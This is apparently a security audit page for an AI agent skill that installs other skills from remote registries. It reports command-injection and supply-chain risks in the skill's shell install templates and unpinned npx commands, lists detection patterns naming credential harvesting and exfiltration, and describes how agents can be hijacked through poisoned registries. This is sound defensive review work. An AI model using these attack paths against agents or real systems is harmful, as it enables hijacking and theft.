ClawHub
Back to skill

Security audit

Skill Registry Manager

Security checks for vulnerabilities and agentic risk

Overview

This skill is a real skill registry manager, but it can fetch mutable registries and run installer commands that may change local or global agent behavior without enough validation.

Review every registry URL and skill source before using this. Prefer project-local installs, avoid untrusted subscriptions, and do not install entries whose final npx/git/local source is not pinned to a trusted version or commit. Treat registry files as code because they can direct the agent to run commands and install persistent skills.

A.I.G

Vulnerability Patterns
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Findings (3)

T03 · Remote Payload Retrieval and Execution

Error
Location
SKILL.md:23
Finding

Mutable Remote Registries Can Provide Executable Installation Payloads

Content
View full analysis

Vulnerability Details

File Location: SKILL.md:23-35, SKILL.md:64-80, and registry.yaml:2-4
Vulnerability Type: Remote payload retrieval and execution
Risk Level: Critical

Vulnerable Code

registry.yaml:2-4:

yaml
subscriptions:
  - name: awesome
    url: https://raw.githubusercontent.com/gavinyao/awesome-skills/main/registry.yaml

Relevant installation templates in SKILL.md:64-80:

bash
cd <target_skills_dir> && <install_command>
bash
git clone <install_url> <target_skills_dir>/<skill_name>
bash
cp -r <resolved_source_path> <target_skills_dir>/<skill_name>

Technical Analysis

The Skill recursively loads YAML registries from remote HTTP or HTTPS locations and merges their Skill definitions into the set of installable entries. For entries using the npx source type, the registry's install value is treated as a command and inserted into a shell command.

The configured remote registry is a mutable branch-based GitHub raw URL. Neither the registry nor its recursively referenced subscriptions are pinned to immutable commits. The workflow specifies no signature verification, checksum validation, command allowlist, trusted-host policy, or mandatory presentation of the final resolved command for user approval.

Consequently, the effective executable payload can change after this Skill has been reviewed. Compromise of any registry in the recursive subscription graph can turn a normal installation request into arbitrary command execution.

Attack Path

  1. An attacker compromises the configured remote registry, gains control of a nested registry, or persuades a user to add an attacker-controlled subscription.
  2. The attacker publishes a Skill entry whose install field contains a malicious command, or adds a nested subscription containing such an entry.
  3. The Skill recursively fetches and p ...[truncated 1075 chars]
Remediation
View remediation

Remediation Suggestions

  1. Do not execute registry-provided command strings. Replace install commands with a structured schema containing separately validated fields such as repository owner, repository name, Skill name, version, and destination.
  2. Invoke processes through argument-array APIs rather than through a shell.
  3. Pin every remote registry and install source to an immutable commit, release digest, or cryptographic content hash.
  4. Require signature or checksum verification before parsing or installing remote content.
  5. Maintain an explicit allowlist of trusted HTTPS hosts and repository owners.
  6. Disable recursive remote subscriptions by default, or require explicit approval for every newly encountered registry origin.
  7. Display the fully resolved source, immutable revision, destination, and operation to the user before installation.
  8. Download content into an isolated staging directory, inspect it, and require approval before copying it into a global Skill directory.
  9. Reject registry entries that contain unexpected fields, shell syntax, control characters, redirects, pipelines, or executable command strings.

T09 · Insecure Skill Coding Practices

Error
Location
SKILL.md:69
Finding

Unquoted Registry Values and Shell-Based Expansion Permit Command Injection

Content
View full analysis

Vulnerability Details

File Location: SKILL.md:69-80 and SKILL.md:169-172
Vulnerability Type: OS command injection through unsafe shell interpolation
Risk Level: Critical

Vulnerable Code

SKILL.md:69-80:

bash
cd <target_skills_dir> && <install_command>
bash
git clone <install_url> <target_skills_dir>/<skill_name>
bash
cp -r <resolved_source_path> <target_skills_dir>/<skill_name>

The path-resolution workflow at SKILL.md:169-172 additionally directs environment-variable expansion through shell echo.

Technical Analysis

Values originating in registry files are interpolated into shell command templates without quoting, escaping, or validation. Relevant attacker-influenced fields include install, repository URLs, Skill names, and local source paths.

Shell metacharacters in these fields can alter command structure. Depending on the shell, separators, pipelines, redirections, command substitutions, and option injection can cause operations other than the intended git clone or cp.

The path-expansion procedure is also unsafe because it specifies shell-based echo expansion. A path containing command-substitution syntax can be interpreted by the shell rather than treated as inert path data. Merely validating that a value resembles a path after expansion does not prevent the command substitution from having already executed.

Attack Path

  1. An attacker controls a remote or local registry, or supplies a malicious subscription path accepted by the subscription-management workflow.
  2. The attacker places shell syntax in an install, name, URL, or path field.
  3. The Agent constructs one of the documented shell commands or expands the path through shell echo.
  4. The shell parses the attacker-controlled syntax as executable syntax rather than as one argument.
  5. The injected command runs with the p ...[truncated 737 chars]
Remediation
View remediation

Remediation Suggestions

  1. Eliminate shell command construction. Invoke git, file-copy operations, and package managers using APIs that pass arguments as an array.
  2. Use native path and environment APIs for environment-variable and home-directory expansion. Never use shell echo, eval, or an equivalent shell expansion mechanism.
  3. Validate Skill names against a strict pattern such as ^[A-Za-z0-9][A-Za-z0-9._-]*$.
  4. Reject names beginning with -, path separators, traversal components, control characters, whitespace where unnecessary, and all shell metacharacters.
  5. Parse repository URLs with a URL parser and allow only approved HTTPS hosts and expected repository path formats.
  6. Canonicalize source and destination paths, then verify that they remain within explicitly approved root directories.
  7. For local copies, reject symbolic-link escapes and prevent overwriting existing destinations without explicit approval.
  8. Treat every field from local and remote registries as untrusted input, including values obtained through nested subscriptions.
  9. Add negative tests covering command separators, command substitution, redirects, option injection, traversal, newline injection, and malicious symbolic links.

T08 · Insecure Dependencies

Error
Location
registry.yaml:8
Finding

Unpinned Third-Party Packages and Repositories Are Installed Globally

Content
View full analysis

Vulnerability Details

File Location: registry.yaml:8-17, README.md:20-27, and registry.example.yaml:37-42,57-62
Vulnerability Type: Unsafe and unpinned software supply-chain dependencies
Risk Level: High

Vulnerable Code

registry.yaml:8-17:

yaml
- name: skill-creator
  description: 创建和改进 Claude Code skills
  source: npx
  install: "npx skills add anthropics/skills@skill-creator -y -g"
  repo: https://github.com/anthropics/skills/tree/main/skills/skill-creator

- name: find-skills
  description: 从 skills.sh 生态搜索和安装 skills
  source: npx
  install: "npx skills add vercel-labs/skills@find-skills -y -g"
  repo: https://github.com/vercel-labs/skills/tree/main/skills/find-skills

README.md:20-27:

bash
cd ~/.claude/skills && npx skills add gavinyao/skill-registry-manager -y -g

Technical Analysis

The installation commands reference repository and Skill names but do not pin an immutable package version, release digest, or repository commit. The repository links also target mutable branch content such as main.

Invoking npx can retrieve and execute package-manager content at installation time. Because integrity verification and immutable pinning are absent, the code executed in the future may differ from the code reviewed today. The -y option suppresses interactive confirmation, while -g requests global installation, increasing both the likelihood of unattended installation and the persistence scope.

This finding does not establish that the named upstream projects are currently malicious. The vulnerability is the absence of controls against future upstream compromise, account takeover, mutable-reference changes, or package-resolution substitution.

Attack Path

  1. An upstream repository, package, maintainer account, or dependency used by the installation tool is compromised or publishes a malicious update.
  2. The referenced mutable package or rep ...[truncated 1078 chars]
Remediation
View remediation

Remediation Suggestions

  1. Pin repositories to full immutable commit hashes and packages to exact versions.
  2. Record and verify cryptographic hashes or signed provenance for every downloaded artifact.
  3. Use a lockfile or an equivalent reviewed dependency manifest for the installer and all transitive dependencies.
  4. Remove automatic -y behavior for security-sensitive installations.
  5. Default to project-local installation and require separate explicit approval for global installation.
  6. Resolve and display the exact package version, repository commit, and integrity digest before execution.
  7. Restrict installations to approved package registries, repository hosts, owners, and namespaces.
  8. Perform installation in a sandbox with minimal filesystem and credential access before promoting content into the destination.
  9. Continuously monitor pinned upstream components for compromise and update pins only through a reviewed process.

SkillSpector

Vulnerability Patterns
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (19)

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The README prominently advertises remote subscriptions, recursive loading, dependency installation, and multiple install sources without warning that these actions may access the network and modify the local system. In this skill context, that omission is dangerous because users may authorize behavior that recursively fetches and installs untrusted content from remote or local paths.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
86% confidence
Finding

The README recommends installing the skill via npx skills add ... without pinning a specific package version. This allows whatever version is current at execution time to run arbitrary package install logic, creating a supply-chain risk if the package or a dependency is compromised or unexpectedly changed.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The trigger phrases such as '管理 skills', '添加订阅', and '安装 ... skill' are broad enough to overlap with normal conversational requests about listing, installing, or managing tools. In a skill that can modify the filesystem and pull remote content, broad activation increases the chance of unintended invocation and accidental system-changing actions.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
82% confidence
Finding

The registry format example permits source: npx with an unpinned install command (npx skills add owner/repo@skill-name -y -g). Because the skill manages installation of other skills, encouraging unpinned npx execution increases supply-chain exposure and may lead to execution of unexpected package code.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
86% confidence
Finding

The manifest description is written partly in Chinese and partly in English, which imposes a multilingual presentation without any stated user opt-in or language-selection behavior. The policy calls for flagging language or locale constraints when the skill does not explicitly offer a choice.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
90% confidence
Finding

The skill instructs installation via arbitrary npx commands from registry data without requiring a pinned package version or integrity verification. Because this skill is specifically designed to fetch and install skills from local or remote registries, an attacker who controls or tampers with a registry entry can cause execution of unexpected package code at install time, making the context materially more dangerous than a mere documentation example.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
94% confidence
Finding

The example npx skills add owner/repo@skill-name -y -g is not version-pinned and normalizes executing a mutable remote package/tool during installation. In this skill's workflow, remote registries and nested subscriptions are recursively loaded, so untrusted metadata can influence what gets executed, increasing supply-chain and arbitrary code execution risk.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
70% confidence
Finding

npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
70% confidence
Finding

npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
70% confidence
Finding

npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
70% confidence
Finding

npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
70% confidence
Finding

npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
93% confidence
Finding

The install command invokes an npm-delivered tool via npx without pinning an exact package version, which means future executions may resolve to a different release than the author reviewed. In a skill registry manager, this is more dangerous than in static documentation because users are likely to copy or trigger these commands for installation, creating a software supply-chain risk if an upstream package is compromised or a breaking/malicious version is published.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
88% confidence
Finding

This finding reflects the same underlying issue: the registry entry relies on npx/skills-based installation without an explicitly pinned version boundary for the executed package path. Because this file is a registry used to manage and install skills, unpinned execution paths can silently drift to newer code and expose users to malicious or unintended package updates.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
93% confidence
Finding

The second skill entry repeats the same supply-chain weakness by using npx installation semantics without pinning an exact package version. In the context of a skill registry manager, this broadens risk because the registry normalizes and distributes install commands that may be executed by end users across environments.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
88% confidence
Finding

This is another instance of an unpinned npx/skills execution path, allowing the resolved code to change over time outside the registry maintainer's control. If an upstream dependency or package is hijacked, users installing from this registry could execute attacker-controlled code.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
95% confidence
Finding

The README describes the skill and all example invocation phrases exclusively in Chinese, implying a fixed language expectation for use. There is no indication that users may interact in other languages or that the Chinese-only behavior is an intentional, justified locale constraint.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
97% confidence
Finding

This manifest contains user-facing descriptions and guidance exclusively in Chinese, including comments and skill descriptions, without offering an alternative language or documenting that the registry is intentionally locale-specific. That can violate a language/locale policy when users are not given a choice or notified of the constraint.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
92% confidence
Finding

This manifest contains user-facing natural-language fields and comments in Chinese, including the skill descriptions, but does not indicate that the registry is intentionally locale-specific or offer an alternative language. That can violate language/locale policy when users are not given an opt-in or justification for the forced language.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.